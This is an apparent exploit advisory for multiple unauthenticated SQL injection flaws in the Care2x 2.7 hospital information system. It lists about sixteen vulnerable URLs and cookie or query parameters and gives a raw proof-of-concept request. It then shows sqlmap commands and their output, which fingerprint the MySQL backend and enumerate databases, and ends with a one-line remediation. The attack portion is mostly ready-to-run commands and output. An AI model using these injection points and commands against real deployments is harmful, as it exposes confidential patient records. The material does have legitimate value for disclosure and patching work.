Care2x 2.7 (HIS) Hospital Information System – Multiple SQL Injection
# Exploit Title: Care2x 2.7 (HIS) Hospital Information system - Multiples SQL Injection # Date: 01/17/2019 # Software Links/Project: https://github.com/care2x/care2x | http://www.care2x.org/ # Version: Care2x 2.7 # Exploit Author: Carlos Avila # Category: webapps # Tested on: Windows 8.1 / Ubuntu Linux # Contact: http://twitter.com/badboy_nt 1. Description Care2x is PHP based Hospital Information system, It features complete clinical flow management, laboratory management, patient records, multi-user support with permissions, stock management and accounting and billing management, PACS integration and DICOM viewer. Care2x provides some other features as CCTV integration which has not been seen in other open source HIS. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin or users valid credentials aren't required. In a deeper analysis other pages are also affected with the vulnerability over the same input. It written in PHP version 5.x, it is vulnerable to SQL Injection. The parameter on cookie 'ck_config' is vulnerable on multiples URLS occurrences, explains to continue: http://192.168.0.108/main/login.php [parameter affected: ck_config cookie] (without authentication) /main/indexframe.php [parameter affected: ck_config cookie] /main/op-doku.php [parameter affected: ck_config cookie] /main/spediens.php [parameter affected: ck_config cookie] /modules/ambulatory/ambulatory.php [parameter affected: ck_config cookie] /modules/fotolab/fotolab_pass.php [parameter affected: ck_config cookie] /modules/laboratory/labor.php [parameter affected: ck_config cookie] /modules/med_depot/medlager.php [parameter affected: ck_config cookie] /modules/news/headline-read.php [parameter affected: nr parameter] /modules/news/newscolumns.php [parameter affected: dept_nr parameter] /modules/news/start_page.php [parameter affected: sid cookie] /modules/nursing/nursing-fastview.php [parameter affected: ck_config cookie] /modules/nursing/nursing-fastview.php [parameter affected: currYear parameter] /modules/nursing/nursing-patient-such-start.php [parameter affected: ck_config cookie] /modules/nursing/nursing-schnellsicht.php [parameter affected: ck_config cookie] /modules/registration_admission/patient_register_pass.php [parameter affected: ck_config cookie] 2. Proof of Concept GET /main/login.php?ntid=false&lang=en HTTP/1.1 Host: 192.168.0.108 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.0.108/main/indexframe.php?boot=1&mask=&lang=en&cookie=&sid=6fclqapl9gsjhrcgoh3q0la5sp Connection: close Cookie: sid=6fclqapl9gsjhrcgoh3q0la5sp; ck_sid6fclqapl9gsjhrcgoh3q0la5sp=m14AAA%3D%3D%23WVUYpUnF%2Fo28ZWY45A5Sh9HMvr%2FZ8wVabFY%3D; ck_config=CFG5c414492459f90.28518700%201547781266 Upgrade-Insecure-Requests: 1 root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -f -v 2 --level 3 -p ck_config [14:18:15] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [14:18:15] [INFO] testing MySQL [14:18:16] [INFO] confirming MySQL [14:18:19] [INFO] the back-end DBMS is MySQL [14:18:19] [INFO] actively fingerprinting MySQL [14:18:20] [INFO] executing MySQL comment injection fingerprint [14:18:33] [DEBUG] turning off reflection removal mechanism (for optimization purposes) web server operating system: Linux Ubuntu web application technology: Nginx 1.14.0 back-end DBMS: active fingerprint: MySQL >= 5.7 comment injection fingerprint: MySQL 5.7.24 root@kali19:~#sqlmap -r SQLI-CARE2X --dbms mysql -v 2 --level 3 -p ck_config --dbs [20:09:33] [INFO] fetching database names [20:09:33] [INFO] the SQL query used returns 4 entries [20:09:33] [INFO] retrieved: information_schema [20:09:33] [INFO] retrieved: care2x [20:09:33] [DEBUG] performed 10 queries in 0.20 seconds available databases [2]: [*] care2x [*] information_schema [*] performance_schema [*] mysql 3. Solution: Application inputs must be validated correctly in all developed classes. |